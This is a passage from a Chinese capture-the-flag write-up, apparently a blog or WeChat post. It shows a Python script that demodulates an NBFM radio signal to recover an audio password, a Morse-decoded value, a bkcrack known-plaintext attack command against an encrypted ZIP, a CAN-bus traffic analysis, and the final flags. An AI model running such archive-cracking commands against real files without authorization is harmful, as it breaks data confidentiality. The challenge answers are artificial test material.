leaf="">f&#34;   信号采样点数: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(complex_signal)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;   信号时长: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(complex_signal) / IF_RATE:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.2</span></span><span leaf="">f}</span></span><span leaf=""> 秒&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;   中频采样率: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{IF_RATE / </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1000</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.0</span></span><span leaf="">f}</span></span><span leaf=""> kHz&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> complex_signal</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> FileNotFoundError </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;❌ 找不到文件: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> SystemExit(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;❌ 读取文件失败: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> SystemExit(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nbfm_demodulate</span></span><span style="line-height: 26px;"><span leaf="">(complex_sig: np.ndarray)</span></span><span leaf=""> -&gt; np.ndarray:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    NBFM 解调：从复信号还原音频</span><span leaf=""><br/></span><span leaf="">    :param complex_sig: 输入复信号</span><span leaf=""><br/></span><span leaf="">    :return: 解调后的音频信号（float32，归一化）</span><span leaf=""><br/></span><span leaf="">    &#34;&#34;&#34;</span></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\n🔊 开始 NBFM 解调...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 1. 计算相位差（频率鉴相核心）</span></span><span leaf=""><br/></span><span leaf="">    phase = np.angle(complex_sig)</span><span leaf=""><br/></span><span leaf="">    phase_diff = np.diff(phase)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 处理相位跳变（-π → π 或 π → -π）</span></span><span leaf=""><br/></span><span leaf="">    phase_diff = np.mod(phase_diff + np.pi, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> * np.pi) - np.pi</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 2. 将相位差转换为音频信号（归一化到 [-1, 1]）</span></span><span leaf=""><br/></span><span leaf="">    audio = phase_diff / (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> * np.pi * MAX_DEV / IF_RATE)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 3. 低通滤波：保留 0~3000 Hz 音频频段，过滤高频噪声</span></span><span leaf=""><br/></span><span leaf="">    cutoff = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3000</span></span><span leaf=""><br/></span><span leaf="">    num_taps = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1024</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 滤波器抽头数（越大滤波效果越好，计算量越大）</span></span><span leaf=""><br/></span><span leaf="">    lpf = firwin(num_taps, cutoff, fs=IF_RATE, pass_zero=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">, window=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;hamming&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    audio_filtered = lfilter(lpf, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1.0</span></span><span leaf="">, audio)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4. 降采样：192kHz → 48kHz（抽取因子 4）</span></span><span leaf=""><br/></span><span leaf="">    audio_decimated = decimate(audio_filtered, int(IF_RATE / AUDIO_RATE), ftype=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;fir&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 5. 归一化音频（避免音量过大/失真）</span></span><span leaf=""><br/></span><span leaf="">    audio_normalized = audio_decimated / np.max(np.abs(audio_decimated)) * VOLUME</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;✅ NBFM 解调完成&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> audio_normalized</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">remove_pl_tone</span></span><span style="line-height: 26px;"><span leaf="">(audio: np.ndarray)</span></span><span leaf=""> -&gt; np.ndarray:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    去除 PL 亚音（CTCSS）：高通滤波过滤低频亚音</span><span leaf=""><br/></span><span leaf="">    :param audio: 解调后的音频信号</span><span leaf=""><br/></span><span leaf="">    :return: 去亚音后的音频信号</span><span leaf=""><br/></span><span leaf="">    &#34;&#34;&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> PL_FREQ == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\nℹ️ 未启用 PL 亚音，跳过去除步骤&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> audio</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\n🔇 去除 PL 亚音（频率: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{PL_FREQ}</span></span><span leaf=""> Hz）...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 高通滤波器：截止频率 100 Hz，过滤 PL 亚音</span></span><span leaf=""><br/></span><span leaf="">    cutoff = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">100</span></span><span leaf=""><br/></span><span leaf="">    num_taps = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1024</span></span><span leaf=""><br/></span><span leaf="">    hpf = firwin(num_taps, cutoff, fs=AUDIO_RATE, pass_zero=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">, window=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;hamming&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    audio_no_pl = lfilter(hpf, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1.0</span></span><span leaf="">, audio)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 重新归一化</span></span><span leaf=""><br/></span><span leaf="">    audio_no_pl = audio_no_pl / np.max(np.abs(audio_no_pl)) * VOLUME</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;✅ PL 亚音去除完成&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> audio_no_pl</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">play_audio</span></span><span style="line-height: 26px;"><span leaf="">(audio: np.ndarray)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;播放音频&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\n🎵 正在播放解调后的音频（采样率: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{AUDIO_RATE}</span></span><span leaf=""> Hz）...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        sd.play(audio, samplerate=AUDIO_RATE)</span><span leaf=""><br/></span><span leaf="">        sd.wait()</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;✅ 播放完成&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;❌ 播放失败: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">save_audio</span></span><span style="line-height: 26px;"><span leaf="">(audio: np.ndarray, audio_no_pl: np.ndarray)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;保存音频为 WAV 文件&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 保存原始解调音频</span></span><span leaf=""><br/></span><span leaf="">    write(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;recovered_password.wav&#34;</span></span><span leaf="">, AUDIO_RATE, (audio * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32767</span></span><span leaf="">).astype(np.int16))</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\n💾 原始解调音频已保存: recovered_password.wav&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 保存去亚音后的音频（如果启用了亚音）</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> PL_FREQ != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        write(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;recovered_password_no_pl.wav&#34;</span></span><span leaf="">, AUDIO_RATE, (audio_no_pl * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32767</span></span><span leaf="">).astype(np.int16))</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;💾 去亚音音频已保存: recovered_password_no_pl.wav&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">plot_spectrum</span></span><span style="line-height: 26px;"><span leaf="">(audio: np.ndarray)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;绘制音频频谱（验证还原效果）&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\n📊 绘制音频频谱...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    n = len(audio)</span><span leaf=""><br/></span><span leaf="">    freq = fftfreq(n, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">/AUDIO_RATE)[:n//</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    amp = np.abs(fft(audio))[:n//</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    plt.figure(figsize=(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">    plt.plot(freq, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">*np.log10(amp))</span><span leaf=""><br/></span><span leaf="">    plt.title(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Demodulated Audio Spectrum&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    plt.xlabel(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Frequency (Hz)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    plt.ylabel(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Amplitude (dB)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    plt.xlim(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5000</span></span><span leaf="">)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 只显示 0~5kHz（音频核心频段）</span></span><span leaf=""><br/></span><span leaf="">    plt.grid(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    plt.tight_layout()</span><span leaf=""><br/></span><span leaf="">    plt.savefig(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;audio_spectrum.png&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;✅ 频谱图已保存: audio_spectrum.png&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    plt.show()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ===================== 主流程 =====================</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 1. 读取 flag 文件，还原复信号</span></span><span leaf=""><br/></span><span leaf="">    complex_signal = read_flag_files()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 2. NBFM 解调</span></span><span leaf=""><br/></span><span leaf="">    audio = nbfm_demodulate(complex_signal)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 3. 去除 PL 亚音</span></span><span leaf=""><br/></span><span leaf="">    audio_no_pl = remove_pl_tone(audio)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4. 播放音频</span></span><span leaf=""><br/></span><span leaf="">    play_audio(audio_no_pl </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> PL_FREQ != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> audio)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 5. 保存音频文件</span></span><span leaf=""><br/></span><span leaf="">    save_audio(audio, audio_no_pl)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 6. 绘制频谱分析图</span></span><span leaf=""><br/></span><span leaf="">    plot_spectrum(audio_no_pl </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> PL_FREQ != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> audio)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\n🎉 音频还原流程全部完成！&#34;</span></span><span leaf="">)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">是个莫斯电码，解开</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">114514350234114514</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后就是要进行部分明文攻击</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">bkcrack -C flag.zip -c flag.txt -x 0 666c61677b593075 -x 25 2121217d</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-The_Rogue_Beacon</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">wireshark分析，定位车速信号id，其data符合周期性增长</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100030151" data-ratio="0.6416666666666667" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dac625b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFCicF65g094u94xwVGWvcXCUmmYYdgKoam79rgXicX6ffbSItD7Picf6jQ%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在12149处速度达到峰值</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5064814814814815" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030157" src="https://wechat2rss.xlab.app/img-proxy/?k=5e4c823c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFLBqtXwicb7ciawFdWQyygh3Xk6u6Vq9iaMlyTCtTQOXSx5ZibIpWskssYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100030156" data-ratio="0.17037037037037037" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c01e9ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFAdKMu8M1jh9h5P0D4Qo1tFaaibic9AO9wCz443aw2TA29yibVF7hInmGA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">根据提示sha256加密得到flag</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">flag{9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29}</span></p></div><div data-role="outer" label="Powered by 135editor.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);" data-pm-slice="0 0 []"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: 